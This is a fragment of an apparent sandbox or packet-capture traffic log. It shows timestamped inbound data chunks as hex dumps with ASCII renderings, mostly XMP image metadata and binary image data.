1CB334B86E111882296B3C31954A6</rdf:li> <rdf:li>xmp.did:ED2D4C973E0BE411B4F6C09501D2692C</rdf:li> <rd
f:li>xmp.did:ED339C488E0911E1B197DDA49B9ECB8D</rdf:li> <r

2022-06-08 07:56:17 UTC 6356 IN Data Raw: 3e 78 6d 70 2e 64 69 64 3a 46 38 42 37 36 39 34 35 30 38 32 30 36 38 31 31 39 39 34 43 39 36 38 36 43 36 
45 36 46 42 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 43 34 46 33 44 
46 34 39 44 39 44 46 31 31 38 37 34 42 38 35 44 43 41 36 31 37 30 44 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 43 45 35 36 44 37 42 34 32 30 36 38 31 31 38 43 31 34 45 43 36 39 39 31 34 
43 38 35 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 44 32 44 43 39 46 
46 32 32 38 36 38 31 31 42 44 33 35 43 42 43 43 35 32 45 34 44 32 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 31 36 37 38 38 41 34 36 33 42 45 34 
Data Ascii: >xmp.did:F8B7694508206811994C9686C6E6FBDC</rdf:li> <rdf:li>xmp.did:F8C4F3DF49D9DF11874B8
5DCA6170D13</rdf:li> <rdf:li>xmp.did:F8CE56D7B42068118C14EC69914C8563</rdf:li> <rdf:li>xmp.did:F8D2D
C9FF2286811BD35CBCC52E4D27A</rdf:li> <rdf:li>xmp.did:F916788A463BE4

2022-06-08 07:56:17 UTC 6372 IN Data Raw: 6d 70 2e 64 69 64 3a 61 37 64 36 37 31 66 62 2d 36 66 33 34 2d 66 61 34 65 2d 39 61 34 30 2d 30 65 62 39 
35 30 65 36 32 66 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 37 65 35 64 
62 39 39 2d 38 38 38 39 2d 34 33 34 62 2d 61 62 37 64 2d 64 36 38 39 37 66 61 65 30 61 63 35 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 37 65 36 63 31 63 38 2d 33 35 33 33 2d 65 39 34 66 2d 62 34 
33 39 2d 33 38 30 35 36 36 61 34 35 63 37 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 61 37 65 66 38 37 65 62 2d 31 62 65 61 2d 34 66 35 35 2d 39 65 32 31 2d 66 34 35 61 33 31 31 33 64 65 62 33 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
Data Ascii: mp.did:a7d671fb-6f34-fa4e-9a40-0eb950e62f46</rdf:li> <rdf:li>xmp.did:a7e5db99-8889-434b-ab7d-d6897
fae0ac5</rdf:li> <rdf:li>xmp.did:a7e6c1c8-3533-e94f-b439-380566a45c7d</rdf:li> <rdf:li>xmp.did:a7ef87eb-1bea-4f55-
9e21-f45a3113deb3</rdf:li> <rdf:li>xmp.did:

2022-06-08 07:56:17 UTC 6380 IN Data Raw: 78 6d 70 2e 64 69 64 3a 62 63 63 38 62 66 32 62 2d 30 37 62 34 2d 34 65 31 39 2d 61 65 64 38 2d 38 61 64 
30 39 36 33 65 34 35 63 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 63 63 65 
38 32 38 31 2d 38 66 30 32 2d 34 32 64 39 2d 39 63 34 32 2d 64 37 37 63 33 38 61 39 66 37 61 65 3c 2f 72 64 66 3a 6c 6
9 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 63 66 37 61 38 38 31 2d 63 63 63 62 2d 34 61 32 65 2d 38 
61 64 30 2d 35 64 30 62 65 38 31 33 31 65 64 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 62 64 30 66 61 61 30 62 2d 31 35 63 65 2d 38 35 34 35 2d 61 38 66 30 2d 39 38 33 37 38 32 32 39 65 62 62 38 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
Data Ascii: xmp.did:bcc8bf2b-07b4-4e19-aed8-8ad0963e45c3</rdf:li> <rdf:li>xmp.did:bcce8281-8f02-42d9-9c42-d77c
38a9f7ae</rdf:li> <rdf:li>xmp.did:bcf7a881-cccb-4a2e-8ad0-5d0be8131ede</rdf:li> <rdf:li>xmp.did:bd0faa0b-15ce-8545-
a8f0-98378229ebb8</rdf:li> <rdf:li>xmp.did

2022-06-08 07:56:17 UTC 6396 IN Data Raw: 2d 32 35 64 31 2d 66 30 34 31 2d 62 61 33 64 2d 33 36 31 61 33 31 36 38 35 63 39 37 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 62 33 65 34 63 32 32 2d 66 33 30 35 2d 65 62 34 62 2d 39 64 
38 34 2d 30 62 37 34 30 37 36 65 66 35 65 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 65 62 38 61 34 31 39 65 2d 35 33 31 31 2d 34 36 37 61 2d 39 35 62 63 2d 35 62 30 33 35 63 39 66 34 37 33 30 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 62 39 37 36 66 36 30 2d 37 62 62 66 2d 
34 32 33 30 2d 61 61 31 36 2d 65 66 36 31 33 62 39 32 63 34 62 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 65 62 39 37 37 39 31 61 2d 39 65 65 34 2d 33 
Data Ascii: -25d1-f041-ba3d-361a31685c97</rdf:li> <rdf:li>xmp.did:eb3e4c22-f305-eb4b-9d84-0b74076ef5e3</rdf:li> 
<rdf:li>xmp.did:eb8a419e-5311-467a-95bc-5b035c9f4730</rdf:li> <rdf:li>xmp.did:eb976f60-7bbf-4230-aa16-ef613b
92c4b8</rdf:li> <rdf:li>xmp.did:eb97791a-9ee4-3

2022-06-08 07:56:17 UTC 6412 IN Data Raw: 32 cb 14 cd 40 90 81 09 06 25 42 48 6a 4c 84 23 d0 08 02 42 20 b1 55 c8 04 2a 02 31 02 b0 81 02 42 10 60 
00 21 42 a4 84 08 a1 20 50 a4 64 05 4b 51 22 86 59 08 48 10 04 21 21 08 40 84 01 21 10 a0 23 50 21 00 48 18 95 0f 35 
9f 51 20 40 30 08 41 88 42 10 81 21 02 41 40 90 21 52 28 42 04 84 08 00 41 88 01 82 42 10 81 1c 65 08 45 20 c4 21 19 
28 52 10 81 09 08 92 a0 64 84 b4 a8 87 a0 11 46 24 4a 81 21 08 31 09 05 16 d2 12 24 43 04 81 0a 23 36 35 15 68 84 84 
61 a4 24 68 a4 48 32 95 0c 90 04 81 00 02 40 a1 55 18 84 08 40 41 8f 24 f7 32 40 85 61 08 85 20 48 44 24 09 00 30 a4 
21 02 10 0c 02 00 24 20 08 44 80 20 c4 18 04 20 ca e3 10 82 a1 20 42 00 81 23 25 08 48 10 90 84 20 48 40 b5 12 24 08 
06 21 08 12 04 24 21 02 15 54 23 21 40 30 02 41 88 42 10 64 88 54 2c 19 22 
Data Ascii: 2@%BHjL#B U*1B`!B PdKQ"YH!!@!#P!H5Q @0AB!A@!R(BABeE !(RdF$J!1$C#65ha$hH2@U@A$2@a 
HD$0!$ D   B#%H H@$!$!T#!@0ABdT,"

2022-06-08 07:56:17 UTC 6420 IN Data Raw: 1a f0 13 cd e1 37 c3 d3 6b b7 75 3b 76 78 d7 1a 77 39 13 5d 69 8f 29 7c fd 57 4f 47 8d 78 b7 0f 63 cf d1 44 ba 
73 7d 2e 77 4d bc ec ca 64 a3 59 c5 ae 61 2b ca db 2b d6 7b 98 e8 25 a9 bb 5b f7 3a df 05 3c bd e7 54 74 cd 13 77 de 9e 
ad bc 6d 56 a5 9f 2b 79 f7 33 bc b9 74 ef 6e 5b 06 e3 3a 53 5b 9d 72 e7 9a 39 e2 d3 66 75 d7 c5 a9 28 b3 6e 59 33 9f 26 
cf b6 ce bb 93 5c 89 9a ae f8 7b 5a 96 4c 74 32 e5 6b 3c cd bd 1e 37 c1 de 0e 73 b6 63 7f 4e 9e c3 d7 f4 9a 63 c8 e3 cf 
7c 6a e7 c2 84 e0 6b 3a 37 d7 cc c8 67 2f 69 bd 75 2f b7 2e 38 6c df 4b ba 3e a7 fa 1f 81 e2 3e 9f ce e4 ef 95 97 9b e3 
ae 5d f3 76 75 e3 63 4c f7 9d e6 43 a3 6e 19 ad 77 38 2e 77 48 5a ba ef cf 7c af a1 f9 d7 f2 ff 00 a7 f2 f9 e9 d3 ce ba b9 
bc ed 73 cf 33 e8 71 bf 39 5c ad 72 e7 33 d6 d6 fe 
Data Ascii: 7ku;vxw9]i)|WOGxcDs}.wMdYa++{%[:<TtwmV+y3tn[:S[r9fu(nY3&\{ZLt2k<7scNc|jk:7g/iu/.8lK>>]vu
cLCnw8.wHZ|s3q9\r3

2022-06-08 07:56:17 UTC 6436 IN Data Raw: ae 3a f5 a5 f3 f8 df 4b 87 6f 03 e6 dd 3a 9e e3 bf 1d 79 d7 13 1d 3a 3d 27 65 50 b9 30 66 d1 cf 78 71 bc 1c f7 
dd d6 3b 76 fa 7b 36 ea 59 a6 f9 6c a7 2b 5c 49 84 b0 e7 cb 8e 6f a2 cb e6 7c ab 8f 3f 31 c3 92 77 cf e8 0f 77 3f 9e f9 9f 
12 f9 d3 a1 ca 53 cf 5b ae b9 bd 35 d5 dc e7 79 e6 3e 7a cb 37 45 5a 75 18 f5 b8 e9 d9 ce fc f6 b8 fc fb f5 9e 5e d7 5e 5c 
7e 3d f9 dc bd 1e b3 dd f3 b2 71 eb e7 fc bd fd c7 d5 f9 d9 f7 bf a9 7b 7c 5d 2b 9e df 3e 9d 3c 6a a4 15 6a bc af 35 07 95 
87 54 21 56 a5 6c d6 cc 4b e6 ca d8 aa b5 a4 52 00 22 d2 15 94 d6 7a 44 cc cc 5b 65 b2 6e 19 e2 88 8b aa 74 7c db 4d 
4b d1 b7 5a dd 73 76 a6 8d b7 58 4e 16 5d 2d ce 8e f3 26 52 14 97 55 35 56 73 e3 b8 ef d1 73 df ae e9 8f 1b bb cb e3 ac 
a7 cf bc db 32 f7 5a b2 eb 89 33 a3 8f 5d f9 e9 
Data Ascii: :Ko:y:='eP0fxq;v{6Yl+\Io|?1ww?S[5y>z7EZu^^\~=q{|]+><jj5T!VlKR"zD[ent|MKZsvXN]-&RU5Vss2Z3]

Timestamp
kBytes
transferred
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2022-06-08 07:56:17 UTC 6452 IN Data Raw: f3 3e 85 fa 8d fe a4 fe 84 10 47 a2 08 fd 09 27 c4 92 49 22 73 e9 8f d7 81 f9 8f 33 fd 24 93 e2 7c b1 bf 08 92 49
24 92 7c 4f a1 b2 7d 12 49 24 9e c2 7e 89 fd 79 27 d1 24 f9 92 49 39 12 48 84 c9 f1 24 f8 92 46 e0 9f e8 a7 cc 93 e6 7f 41 
b2 49 f4 4f a6 7d 50 47 aa 7d 13 e6 49 1b fd 19 24 92 49 27 c3 7e 64 91 fa 57 95 e2 49 24 92 7c 4f a6 7c 49 3e 13 24 91 
12 49 3e a4 c9 39 13 fa 32 4f 99 27 c2 20 8f 0b d4 fd 12 49 92 b6 b3 af b2 92 7c 49 24 92 49 3e 27 c4 93 e2 7c c8 9f 95 
ea 9f 32 37 e1 bf 12 49 24 f9 5f ab 12 41 03 5e 88 20 8f 5c 8b d6 87 e8 62 23 ca fe 92 08 20 8f d1 8f 12 49 3e 27 c3 65 ac 
90 ae ac 49 03 65 b2 41 5c ad 95 b1 7b c1 16 b5 84 33 90 99 3e 3f 27 e0 4c 93 f2 25 e1 79 4f d2 df 89 1b f4 b4 41 04 10 
41 02 f0 fc c1 04 78 44 7a e0 4b f4 67 c4 9c 
Data Ascii: >G'I"s3$|I$|O}I$~y'$I9H$FAIO}PG}I$I'~dWI$|O|I>$I>92O' I|I$I>'|27I$_A^ \b# I>'eIeA\{3>?'L%yOAAxDzKg

2022-06-08 07:56:17 UTC 6460 IN Data Raw: 11 fa 0f d2 d7 98 f2 97 a1 7e 93 fd 08 fe a5 f8 5f a4 ff 00 a4 6b c2 52 35 eb 44 11 fa 09 78 7e b8 fe 82 06 2f 2d 
7a 19 02 19 1e 17 f6 c8 fd 56 87 ec 2f 0d 47 88 20 83 8f 94 88 12 20 8f 2d 09 40 d4 fa d7 9b 79 48 4b ca 5e 1f f6 57 e1 3f 
43 f3 04 7a 12 20 8f 54 7e ac 7e ab fd 66 8e 3e 98 23 f4 f8 9c 48 f4 25 e5 a2 08 f4 34 2f 2d 47 f5 d0 3f 54 11 e9 8f 43 f5 
35 e1 10 25 e5 af 5c 10 41 1e 23 d5 1f a0 bf a8 5f a0 d4 9c 48 f0 97 ea c1 1f d2 41 1e 20 82 3f 52 06 bf 41 af d6 82 3c 41 
1f a0 d0 97 88 fd 18 fd 68 fd 28 fe b9 af d1 81 af 30 47 e8 3f d3 5e 5f e8 b4 41 07 13 88 d4 7f 52 d7 f6 f5 fa cf d0 91 c4 81 
2f 2d 09 79 e2 25 ea 7e a8 f4 af 31 fa cc e2 47 f4 b1 ea 7e 63 f5 20 82 08 f5 47 a2 08 fd 79 fd 56 24 41 02 5f d0 b2 08 1a 
fe 86 08 f1 04 7a f8 91 fa 68 82 
Data Ascii: ~_kR5Dx~/-zV/G  -@yHK^W?Cz T~~f>#H%4/-G?TC5%\A#_HA ?RA<Ah(0G?^_AR/-y%~1G~c GyV$A_zh

2022-06-08 07:56:17 UTC 6476 IN Data Raw: 3c 21 af 10 47 85 e1 f8 48 48 81 af 4a f0 c8 11 24 9c 86 c9 24 92 45 e2 08 f5 49 3e 24 92 7c 49 3e 1f 89 24 7e 
1f 89 27 cc 8d 8d 8d 92 49 3e 94 86 49 24 fa 13 39 13 e5 bf 5c fa 92 93 8f a5 b2 7c 48 d9 3e 10 9c 13 eb 82 3c c1 03 42 
50 21 22 0a c1 61 af 2d 11 e8 92 48 17 99 24 92 4e 44 9c 89 f1 24 92 49 24 f8 6c 9f 12 4f 89 24 9f 13 e2 46 e0 9f 43 62 
7e 19 3e 89 f4 a4 40 c7 e1 a2 3c b6 4f 94 31 89 f8 44 7a 67 c3 f5 a1 af 4a f4 3f 10 47 96 bc 47 a6 08 20 81 23 89 03 44 
09 1c 46 88 20 42 24 6f d0 c9 24 9f 42 7e 24 9f 2d f9 5e 99 f5 a3 97 89 1b f0 97 a6 06 bc 57 cc 11 e1 88 9f 11 e1 f9 48 a9 
23 1f a9 a9 20 8f 44 78 42 5e 1f aa 08 38 9c 48 20 e2 47 a2 08 20 62 7e 1f af 88 aa 41 1e 60 83 89 1e 24 93 90 dc 92 72 
39 1c 89 39 1c 8e 44 92 49 23 63 f1 f8 fd 28 20 8f 
Data Ascii: <!GHHJ$$EI>$|I>$~'I>I$9\|H><BP!"a-H$ND$I$lO$FCb~>@<O1DzgJ?GG #DF B$o$B~$-^WH# DxB^8H G b
~A`$r99DI#c( 

2022-06-08 07:56:17 UTC 6492 IN Data Raw: a3 6f ed 97 7a 1a bb fb f8 b6 e9 dc 65 c7 99 52 9a 3d 76 3c 7a f4 cb 9b 16 ee be de 1e bf a1 d6 a1 8f 77 5e 99 
ba dd cc b7 af 63 8d 60 da e1 91 e7 d0 ef 73 f5 b9 7b 6d dc 74 d7 d6 ed 37 33 d7 fc 1e 6a 65 7a 74 76 ae 77 96 bd 26 bd 
2c 62 d8 ec 33 e5 de eb 37 76 37 76 ba 9c 3a 67 5b f5 8c 3a fa d9 3e c7 a5 d5 b7 d4 d7 b2 bd bb 3c 7a 94 fa e7 5b bb 9d 
5b ed 38 b4 b6 bf ca e9 d7 0e c2 c1 91 e3 f8 7b 4c db 7d 4e 87 69 4f b0 7f 1f ee 57 36 fe af 63 d3 64 c1 5b 75 fa fd 87 61 
6d cc fb 1d be 5e 8d eb 7f 23 f6 fb 3a 7d 5f 67 bd 8d 75 bd 96 a7 d9 96 3f ae ec ec ea ec fd 43 77 86 0e 93 3e 4c 9b 3d 75 
f4 2d 83 52 df b8 ee ba fe 37 d0 be 4d 3c f9 5e da be 6e a5 e7 c9 fe 03 3e 7a 74 f9 3f 71 7d bc 69 d3 6b a9 bf 39 81 3f 75 
69 39 13 2d 32 49 1d a0 6e 46 ce 42 67 21 b2 
Data Ascii: ozeR=v<zw^c`s{mt73jeztvw&,b37v7v:g[:><z[[8{L}NiOW6cd[uam^#:}_gu?Cw>L=u-R7M<^n>zt?q}ik9?ui9-
2InFBg!

2022-06-08 07:56:17 UTC 6499 IN Data Raw: b7 a3 cf bf 6c 5d 5a b6 0e e3 eb 19 71 e5 de a7 63 a1 5d bb ad ea 6a eb f5 fd 5d ab b9 b1 fb 7e bf 57 16 4a f5 
5d 8e 5d 57 99 6a e7 be 0a e2 ea 77 30 e8 ee f6 57 cb 77 d7 65 ec 3a 2d ac f6 ea db d5 bf ef 7f c3 ed e6 fb 03 d3 cd 22 
b4 b5 6f 6e 47 32 60 e4 98 ac db 56 15 87 6f 7e 67 c8 e1 d8 e4 3b c9 c8 e4 5a c7 23 93 39 0b 23 1d e4 ad d9 fe c5 7d 8f 
36 3d 74 dd 29 b1 4d 8c 56 eb fb 3f f1 95 cd b5 6d 8c ba bd 9d b4 32 e4 ed 73 6f d9 e4 be c1 9a d6 c6 60 bd 72 1b 59 6b 
1b 59 97 c5 b7 b9 b3 d4 fd 57 51 de f8 6f 93 e1 a6 3a 6b 5e 8d e1 cb 8f 85 f1 53 a6 ab cb 7d 1d 4d 65 4c 7b da b8 ed af 
8f 6e db dd 86 db b6 5c ff 00 73 c1 99 ff 00 1c e7 ea fe a9 5f b9 f6 58 7e c9 db f7 3b 98 f6 eb d2 f4 7b 3d 8e 5e f7 ea db 
9d 0d e9 f6 9d ce b7 4f ea bd f6 3d cd fe db ee b9 
Data Ascii: l]Zqc]j]~WJ]]Wjw0Wwe:-"onG2`Vo~g;Z#9#}6=t)MV?m2so`rYkYWQo:k^S}MeL{n\s_X~;{=^O=

2022-06-08 07:56:17 UTC 6515 IN Data Raw: 74 c5 68 75 69 0e fc 4e 6d 1c d9 5b 8a de ee f2 3b a4 2b 40 ae 8f 73 93 4f 9a 6b 9f b3 ba 63 bc 3f 90 f9 19 f2 
a6 9e 49 5f 27 b3 c9 07 c9 c8 e6 d8 b2 38 56 6d b9 9e 50 4b b1 32 dc a1 26 4c 12 7f c3 72 47 b1 59 69 b9 56 4e 55 65 35 
6a 95 6d 12 d1 c5 d8 ad 5b 3d c5 ee ab 76 72 63 bb 6b e5 1d e4 f9 3d d5 fd 96 4a b4 ed 02 bc 3b 3f 65 69 2b ec 34 d0 a1 
0b dd a8 42 82 64 94 36 91 2d 09 90 4f ba b7 16 b2 16 c9 64 37 66 25 66 9f e1 fb 95 aa 95 44 56 ad 91 66 3c 76 6b e2 b1 
5c 4d 9f 0b 16 29 1e 01 61 2b 89 c7 c7 07 c6 cf 8e c8 78 e4 f8 92 1d 38 8e 92 3c 30 9e 38 1d 50 f1 d5 16 ad 46 aa d7 1a 
a4 d2 1f b1 c9 0a 58 ea c7 ec f8 ca 98 25 36 9b 9e 47 e1 26 c4 4f b3 52 7b 4c 38 4a 4f c0 e0 fc 10 a5 4c a4 da 9f 77 08 e5 
0d 31 b2 7c 28 18 d9 c9 a2 61 a7 ec ac 85 65 2e de 
Data Ascii: thuiNm[;+@sOkc?I_'8VmPK2&LrGYiVNUe5jm[=vrck=J;?ei+4Bd6-Od7f%fDVf<vk\M)a+x8<08PFX%6G&OR{L
8JOLw1|(ae.

2022-06-08 07:56:17 UTC 6531 IN Data Raw: 8e 75 9e 6a a7 34 c9 48 59 15 8b 38 56 9b 25 28 ad 79 56 d8 e0 ac 54 56 50 bd db bd 4b e6 aa 1e 66 8a 5b 
25 8a 72 b3 58 6d 77 fb 4b 72 c7 a4 db c7 d7 da c2 eb 21 e3 ea d2 29 a6 a8 ab ab 2f e2 54 b2 d6 52 f1 2b 89 e2 c3 92 29 
4b 66 de c7 af 5a dd 56 9d 94 66 c5 bb a1 d5 ab 7d 8f af eb 3a db 66 fb 06 be c6 1e b7 b8 d9 bf 59 a5 f7 eb 6b eb 7d 93 
ae b7 da f1 74 f9 b2 db 27 75 8f 0e e6 3e bb 43 e1 dc cd d2 65 c3 b7 ad 83 a9 de c3 a7 d1 e7 c7 7b 6b 52 c6 be 6f 89 6d 
e4 b6 37 db 7d 9b 77 6f 26 87 ef bb 4b 74 98 7b ce b7 57 6b aa ee 7b 3d 7d 0f e3 1c 35 cd af f4 ce a7 55 f5 fa d8 95 f1 64 
e3 6c 5b 4e d9 30 d3 25 4e c7 6e bd 7d 7a bd bd 2e eb 06 ce 3d cd cb 74 9d 7e 2a ed 76 1b 4b 7f 0e 87 51 d8 f7 34 c1 f4 
5d ad fc 1a df 58 d0 d3 c3 8f 5f 1d 15 fb 3f b0 fe df ac 
Data Ascii: uj4HY8V%(yVTVPKf[%rXmwKr!)/TR+)KfZVf}:fYk}t'u>Ce{kRom7}wo&Kt{Wk{=}5Udl[N0%Nn}z.=t~*vKQ4]X_?

2022-06-08 07:56:17 UTC 6539 IN Data Raw: de c2 6c 65 c1 a9 db f6 1d 9f 5d dd 9f 4a 4b ac d8 fb 17 d8 3a ae df 16 1f b6 75 5a 38 6f fc 85 d4 62 b6 df dc ba
ad 6d de b7 ef fd 27 67 8f a4 ef 74 b6 f3 76 bd 9f 4f dc ee 69 fd 03 45 69 ac bf 58 e8 b5 b1 ff 00 26 f5 17 c1 7f e4 4e a6 ba 
bd bf f2 cf 53 95 f5 3f 78 fa 9e 6c 3b bf 6b fa 26 5c db df ca fd 7e 81 dd 7f 3a 77 5d ae 5c 9f c9 9d dd f6 fb 4f e4 ad fe c1 
6b 7f 2a fd 95 d3 2f df 7b ec 57 c7 fc 8d df 5f 1e ef dc 3b dc 8a f9 fb 6d cd 7d 5e d3 b4 d1 79 3b 1d 8e da d8 f3 e6 ec 32 6
e ba 23 63 4f 36 73 5b af b6 33 06 de 5d 8a ad 8c 9a d7 a6 f6 65 93 3d f6 36 8b 53 2d f1 e9 7f 90 36 6f b9 af 97 06 3b 76 
55 c6 ef 96 dd 8e 2d 8d 7c 77 cf 93 1e 3c 77 5a f6 d6 ec b8 99 16 5d b5 a7 fb 4c eb 57 67 57 45 76 37 d7 dc d8 cf b7 f1 
e3 fd ce 0a 9d 8f 6f 8f 1e 4d af 
Data Ascii: le]JK:uZ8obm'gtvOiEiX&NS?xl;k&\~:w]\Ok*/{W_;m}^y;2n#cO6s[3]e=6S-6o;vU-|w<wZ]LWgWEv7oM

2022-06-08 07:56:17 UTC 6555 IN Data Raw: d9 9b b0 df 4f 2e 6e c3 7b f4 a9 fd 4b f2 ca 56 6f 2a 76 9b b9 b6 27 69 bb 99 3c a5 66 5e 94 37 57 cc 9d 86 ef 
ea fc 15 d6 a4 a2 6d 29 0a 42 90 a4 29 36 1c db 0e 63 98 e6 e3 ac b2 cb 2c b2 cb 2f 4e b2 cb 2c b2 c9 5c 63 1e 7c 68 a2 
8a 28 dd 28 a2 8a 28 ae a2 ba 8a ea 28 ae 15 96 5e 3c c7 31 68 5a 12 a8 5a 1b df 43 7b e8 6f 7d 0d e3 79 76 96 bb 4b 
cd e6 39 f6 95 d6 6e 91 95 0d d4 37 50 8c a9 b0 dd 4d 84 21 47 3e 37 8d 96 59 65 96 59 65 97 cb 16 59 65 96 59 65 96 
5f 0a 8a 28 a2 8a 28 a2 8a 28 a2 8a e2 6c b2 cb 2c b2 cb d4 49 23 8c 8e 2a cb 2c bf 6a 77 c4 c6 b9 df fc 04 d8 27 fd 02 
df ff da 00 08 01 01 01 06 3f 00 a7 0e bc 3a f0 ea 78 37 0a 7d aa e1 c1 8f 02 ab c7 c5 32 a2 e5 f6 3a f0 ad 13 f3 4d c1 f2 
fb 2c a8 9b 83 70 f1 e0 ea bc 69 c2 9c 5d 50 3b 2e 89 ca 
Data Ascii: O.n{KVo*v'i<f^7Wm)B)6c,/N,\c|h((((^<1hZZC{o}yvK9n7PM!G>7YeYeYeYe_(((l,I#*,jw'?:x7}2:M,pi]P;.

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:17 UTC 6571 IN Data Raw: bb 66 25 2f 4e 40 9c 1f 53 57 e4 87 b7 ef 8e d6 c5 cd bc 8c a2 77 51 94 49 60 5e 13 31 71 28 cb 23 e7 55 1f 6f 
b3 b7 b3 6a c5 c3 a9 ac cc ce 21 f3 8c 8d 7c 9b c9 46 40 89 c2 d1 fc c3 5b c7 f3 1f d3 ad 38 51 53 ed b1 55 fb 07 8b 9c 3e 
dd 38 d5 62 b0 5b bf f2 6f 72 8d d9 ed 36 70 8c a6 2d 45 e4 75 11 10 00 2c 31 38 95 b8 ff 00 2e f6 3b 17 f6 71 dc 5a b6 2f 
c3 77 72 13 22 56 e3 a5 e2 40 0d 02 19 a1 56 e6 8e f2 e5 cb 51 b5 da 3d 48 c0 19 07 c8 92 28 e1 5c bb 68 5c 96 de 12 
36 84 24 74 8b 9c c8 20 60 15 a9 6d f7 10 bc 5c 44 ed ad ce 30 90 27 00 35 7d 40 29 8f 75 9f ed b6 d7 75 61 28 ea 94 a0 
58 45 c5 00 75 2f 6d d9 39 84 47 71 37 3d 48 97 14 0c 28 e1 5e dc ee 04 75 c4 01 6a dc a3 2d 0f 95 30 7c ea ad da bb 6f 
44 4b 3c 84 40 35 a3 6a c9 c9 a9 7c 15 cf 66 f6 b8 
Data Ascii: f%/N@SWwQI`^1q(#Uoj!|F@[8QSU>8b[or6p-Eu,18.;qZ/wr"V@VQ=H(\h\6$t `m\D0'5}@)uua(XEu/m9Gq7=
H(^uj-0|oDK<@5j|f

2022-06-08 07:56:17 UTC 6579 IN Data Raw: 9e b6 7f cd a7 26 c3 04 3f 6f 38 df b7 29 18 cb 53 46 70 93 e1 20 6b e6 a2 36 ed 2b c4 46 52 8c 24 01 3e 79 
1a 3b 65 8a b9 b4 8d 8b 77 0c 84 63 27 04 16 d4 e6 ac 5d f3 2e 14 2e 9b 22 c5 db 80 6a 90 96 bd 5f f7 3d 43 64 6b c8 af 
f8 bd cc 65 b9 1a 84 2f 4a f1 6c aa c2 a0 48 05 e9 7b 45 ef d1 16 4e 83 72 8d 1f ac 5b 38 92 41 14 91 cf 92 9d dd 89 84 
35 ca 13 b8 00 fa 88 91 2f 98 a9 2a 71 17 2d 8b 12 d7 72 43 48 6a 54 80 0b 44 c8 b6 2a 37 3d ab 6c 6d ed cb cb f4 4b 48 
1a 50 93 5f f4 46 36 ad 4f 75 b0 12 02 e6 da 53 d2 1f fb a3 c8 f3 66 f1 53 dc e9 9e 8b 83 55 bb 92 94 4c a3 a4 d0 19 0c 
40 cd aa ad 6f f6 b7 0d fb b2 8e 89 43 50 26 50 e8 4e 2c 0b 37 25 2b 7d 86 c5 f1 ae dd 88 c8 5b b5 da 6b 5c dc 50 c5 c7 
82 03 63 b8 d7 0b e0 1b 56 af 4d c4 a3 16 24 42 40 56 51 
Data Ascii: &?o8)SFp k6+FR$>y;ewc'].."j_=Cdke/JlH{ENr[8A5/*q-rCHjTD*7=lmKHP_F6OuSfSUL@oCP&PN,7%+}[k\
PcVM$B@VQ

2022-06-08 07:56:17 UTC 6595 IN Data Raw: d3 92 b3 b1 bd b4 94 6c de bd 3b a6 ed d8 1d 50 99 ca 4c d2 11 26 bc 95 b8 fe e0 86 11 89 6b 92 86 99 c8 bb 
36 6d 8a 3b 3d d8 b7 be b6 63 d9 38 44 69 8f 57 1f 51 2f 81 a8 56 f6 f7 36 92 1b b8 bd c8 ea 73 6a dc a6 40 33 31 7d 40 
60 dd 5d 5f f6 c9 fa bb 79 dc 32 b5 1b 96 2f 6a 6b 80 fd 70 26 86 2f 97 c1 47 fe 5e f4 ff 00 6d 66 40 4a 71 88 3e a4 04 be 
8a 07 01 f0 6a 3a 97 bc ec ae ce d4 ed 99 6a b6 30 8c 8d 6d 91 16 a7 fb a9 55 0d fe ee 07 6d 76 37 24 5a c4 b4 42 57 71 
84 dc b0 d2 4b e2 3e e4 3d c3 6b 13 6a fd c1 19 5e b9 e9 ea 03 50 7a 17 94 65 12 72 19 a1 ef b7 2d 4a d5 fb 72 8c 65 b8 
d5 18 c2 46 41 e2 08 c2 4f 11 5f ed 2c 14 63 76 ec 66 c6 dd b9 10 40 81 3a 4b 13 e0 d5 e4 ad ed ac 18 46 ed c9 10 75 44 
4e 32 05 d8 89 0c 00 cf 34 2f fb 68 9c af b9 31 36 e4 
Data Ascii: l;PL&k6m;=c8DiWQ/V6sj@31}@`]_y2/jkp&/G^mf@Jq>j:j0mUmv7$ZBWqK>=kj^Pzer-JreFAO_,cvf@:KFuDN
24/h16

2022-06-08 07:56:17 UTC 6611 IN Data Raw: 0b 36 6f fe e6 df e9 5b 24 5d 0d dc e6 2e 59 80 d2 4e 9e 8a ff 00 b9 d8 2d bb dc c2 e5 bb f7 34 40 6a 17 7e b1 
